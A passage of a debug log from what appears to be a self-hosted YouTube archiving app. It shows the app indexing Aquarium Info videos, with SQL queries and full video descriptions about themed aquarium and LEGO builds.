"id" => "WxUbc_UbDIk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=WxUbc_UbDIk", "playlist_index" => 10, "timestamp" => 1752933162, "title" => "I Built Bikini Bottom in a Fish Tank!", "upload_date" => "20250719"} 11:12:25.849 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=956.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:25.850 [debug] QUERY OK source="sources" db=0.4ms idle=958.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:25.852 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=959.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-19 13:52:42Z], 32] 11:12:25.860 [debug] QUERY OK source="media_items" db=6.0ms idle=961.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built Bikini Bottom in a Fish Tank!", "8a187af2-d92b-49ba-9f72-8ce4ae7618dd", "WxUbc_UbDIk", false, "https://www.youtube.com/watch?v=WxUbc_UbDIk", 32, [], 695, false, 10, "/downloads/shows/Aquarium Info/Season 2025/s2025e071900 - I Built Bikini Bottom in a Fish Tank!.mkv", false, false, 98, ~U[2025-07-19 13:52:42Z], ~U[2026-06-02 15:12:25Z], ~U[2026-06-02 15:12:25Z], "I built the world’s LARGEST Krusty Krab in a fish tank! #KCA #sponsored\n\nIn this episode, we build a hyper-realistic Krusty Krab inside a 15-foot long fish tank, featuring my favorite 3D printed SpongeBob houses: The Krusty Krab! At the end, we reveal it at the @Nickelodeon Kids’ Choice Awards and see reactions from your favorite YouTubers @airrack @MatthewBeem @PrestonYT @BriannaYT @a.j.befumo @IBella @annamcnulty @StephenSharer.\n\nCheck out the FAB365 store for EPIC SpongeBob 3D prints here: https://fab365.net/search?q=spongebob. We’ve modified SpongeBob, Patrick and Squidward’s houses to be nearly 3ft tall and now the iconic Krusty Krab!\n\nA special thank you to Labriola Ristorante in Oak Brook for becoming our Krusty Krab kitchen in real life and Nic from @InfinityAquariums for the incredible collaboration on this massive, showstopping piece. We couldn’t have done it without you guys!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nThis giant real life Bikini Bottom aquarium celebrates the famous Nickelodeon Kids’ Choice Awards and includes the iconic Krusty Krab, your favorite characters like SpongeBob, Plankton, Sandy Cheeks, Squidward and Mr Krabs and even realistic 3D printed jellyfish to honor Jellyfish Fields from SpongeBob SquarePants. We also 3D printed a hyper realistic Flying Dutchman! \n\nWatch Jamie build while Adam goes on a tidepool and scuba diving adventure to try and catch the iconic characters of SpongeBob, including Larry the Lobster, Mr Krabs and many more! Joelle is challenged to find the secret formula in a real life Krusty Krab kitchen and will teach you how to make a real life krabby patty! \n\nJamie Dalton - Aquarium Info has a history of building epic SpongeBob themed fish tanks on YouTube like when I built the Krusty Krab for a real life crab and when I built the Chum Bucket for real life Plankton. I also built the world’s largest Bikini Bottom in a fish tank!! Do you think I should build Sandy's treedome for a real life squirrel next?? \n\nIf you have any comments, suggestions or questions for this SpongeBob Nickelodeon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Krusty Krab Pizza\" so I notice you 🍕 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Built a Giant LEGO Railway for my Pets!\n- I Built Minecraft for a Real Axolotl!\n- I Built Bikini Bottom in a Fish Tank!\n- I Got a Pet Dragon…\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl…\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- (truncated) 11:12:25.862 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:25.863 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=13.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:25.865 [debug] QUERY OK source="media_items" db=0.7ms idle=13.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116190] 11:12:25.865 [debug] Current batch of media processed. Will check again in 1000ms 11:12:26.866 [debug] Current batch of media processed. Will check again in 1000ms 11:12:27.867 [debug] Current batch of media processed. Will check again in 1000ms 11:12:28.869 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 650, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", "id" => "p7q8NnVlbVY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=p7q8NnVlbVY", "playlist_index" => 11, "timestamp" => 1749657921, "title" => "I Built a Giant LEGO Railway for my Pets!", "upload_date" => "20250611"} 11:12:28.871 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1978.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:28.872 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1980.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:28.875 [debug] QUERY OK source="media_items" db=2.0ms idle=1981.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-11 16:05:21Z], 32] 11:12:28.879 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=1095.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "b20a434c-cb42-454b-9290-be63fdd9515e", "p7q8NnVlbVY", false, "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, [], 650, false, 11, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, false, 98, ~U[2025-06-11 16:05:21Z], ~U[2026-06-02 15:12:28Z], ~U[2026-06-02 15:12:28Z], "#ad To celebrate World Play Day 2025, I partnered with The @LEGO Group to create the ultimate LEGO railway adventure #LEGOWorldPlayDay #LEGOPartner\n\nI Built a Giant LEGO Railway for my Pets! My LEGO train travels through HUGE mountains, glow-in-the-dark and LED lit tunnels and down an insane DIY pool-noodle spiral coaster. But will the train make it or will this end in a complete disaster? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an insane 200ft LEGO railway through the studio, passing by some of your favorite animals, including Ralph my Peacock Mantis Shrimp, Mochi, my grocery store lobster, and the beloved duo Lucy and Lemon, my axolotls. We even build my kitten Nori a rube goldberg contraption to feed him treats when the train passes by! In this adventure-filled episode, we also travel to an abandoned railway to learn about trains in the real world! \n\nThis LEGO train trip will have 5 epic stops, including a dual greenhouse filled with live plants and LEGO botanicals, a snowy mountain featuring miniature Christmas trees and LEGO Santa, a cat cafe, a glow-in-the-dark tunnel with glowing crystals and an arid desert ecosystem with LEGO animals and real cacti. The LEGO train will be equipped with a tiny camera so you can see what the train sees, so be on the lookout for all of the hidden LEGO builds along the way! Can you spot them all?\n\nWatch until the end to see if the train makes it through the entire trip in one piece! This video is perfect for anyone who loves LEGO trains, building custom LEGO builds, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to build an epic DIY LEGO railway! \n\nIf you have any comments, suggestions or questions for this LEGO train video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Cat Cafe\" so I notice you 🐈☕️\n\nIf you love LEGO, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- I Built Minecraft for a Real Axolotl! \n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Built a Giant LEGO Railway for my Pets!", "p7q8NnVlbVY", "https://www.youtube.com/watch?v=p7q8NnVlbVY", 32, 650, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e061100 - I Built a Giant LEGO Railway for my Pets!.mkv", false, ~U[2025-06-11 16:05:21Z]] 11:12:28.880 [debug] QUERY OK source="sources" db=0.4ms idle=97.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:28.881 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:28.881 [debug] QUERY OK source="media_items" db=0.3ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116191] 11:12:28.881 [debug] Current batch of media processed. Will check again in 1000ms 11:12:29.882 [debug] Current batch of media processed. Will check again in 1000ms 11:12:30.883 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I built REAL Minecraft for my axolotl! \n\nAfter I saw the new Minecraft movie, I knew I had to build it in real life for my axolotls, Miso and Matcha! In this episode, we even cook a real Minecraft chicken for my cute ragdoll kitten, Nori! Watch until the end to see my axolotls Miso and Matcha react to real Minecraft! This build took a lot of time and effort but I think \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nWatch as we build an epic Minecraft IRL ecosystem for over $5,000 for my axolotls, Miso and Matcha. My axolotls recently had baby axolotls - Miso and Matcha - and they’re finally big enough to live together! So today we’re building them their dream home ecosystem. This $5,000 terrarium spans multiple Minecraft biomes, including a giant forest with real plants, a snowy mountain, mushroom biome, Minecraft village and a lush cave! We even have REAL mobs living in our Minecraft ecosystem, like my lizard Ringo, tiny rasbora fish and more! Can you spot them all?\n\nIn this adventure-filled episode, we travel to the wild to experience Minecraft in real life while hunting for real Minecraft mobs. We also build a DIY 3D printed volcano to experiment in making real lava for our Minecraft ecosystem. \n\nWatch until the end to see my axolotls Miso and Matcha enjoy their new DREAM Minecraft ecosystem! This video is perfect for anyone who loves Minecraft, Minecraft IRL, axolotls, exotic pets, rare animals, DIY projects or is just interested in what it takes to keep axolotls as pets! \n\nIf you have any comments, suggestions or questions for this Minecraft IRL video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Lava Chicken\" so I notice you 🌋🐓\n\nIf you love Minecraft, ecosystems, pets, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 746, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e051700 - I Built Minecraft for a Real Axolotl!.mkv", "id" => "3UY2Qtkkioo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3UY2Qtkkioo", "playlist_index" => 12, "timestamp" => 1747508601, "title" => "I Built Minecraft for a Real Axolotl!", 